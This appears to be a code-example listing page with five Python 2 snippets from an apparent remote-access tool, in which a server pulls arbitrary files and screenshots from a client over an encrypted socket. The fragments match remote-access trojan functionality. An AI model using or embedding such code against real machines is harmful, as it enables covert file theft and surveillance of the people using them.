コード例 #1
0
def recvfile(conn, dhkey):
    fname = crypto.decrypt(conn.recv(1024), dhkey)
    str = "@client"
    nname = str + fname
    data = crypto.decrypt(conn.recv(4096), dhkey)
    if len(data) != 0:
        rfile = open(nname, 'w')
        rfile.write(data)
    return 'File {} uploaded.'.format(fname)
コード例 #2
0
def sendfile(conn, dhkey):
    path = crypto.decrypt(conn.recv(1024), dhkey)
    try:
        with open(path, 'r') as f:
            data = f.read(os.path.getsize(path))
        conn.send(crypto.encrypt(data, dhkey))
        return 'File {} downloaded.'.format(path)
    except IOError:
        return 'Error: Permission denied.'
コード例 #3
0
    def recv_schot(self, client):
        imgFile = open('screenshot_server.png', 'w')
        try:
            recv_data = client.conn.recv(4096)
            imgData = decrypt(recv_data, client.dhkey)
            imgFile.write(imgData)

        except Exception as e:
            print 'Error: {}'.format(e)
コード例 #4
0
 def download(self, client):
     path = raw_input('Intput client\'s file path: ')
     fname = os.path.basename(path)
     # send remote file path
     self.send_client('download', self.current_client)
     self.send_client(path, self.current_client)
     # recv file
     str = "@server"
     nname = str + fname
     rfile = open(nname, 'w')
     try:
         recv_data = self.current_client.conn.recv(4096)
         dedata = decrypt(recv_data, self.current_client.dhkey)
         rfile.write(dedata)
         self.recv_client(self.current_client)
     except Exception as e:
         print 'Error: {}'.format(e)
コード例 #5
0
 def recv_client(self, client):
     try:
         recv_data = client.conn.recv(4096)
         print decrypt(recv_data, client.dhkey)
     except Exception as e:
         print 'Error: {}'.format(e)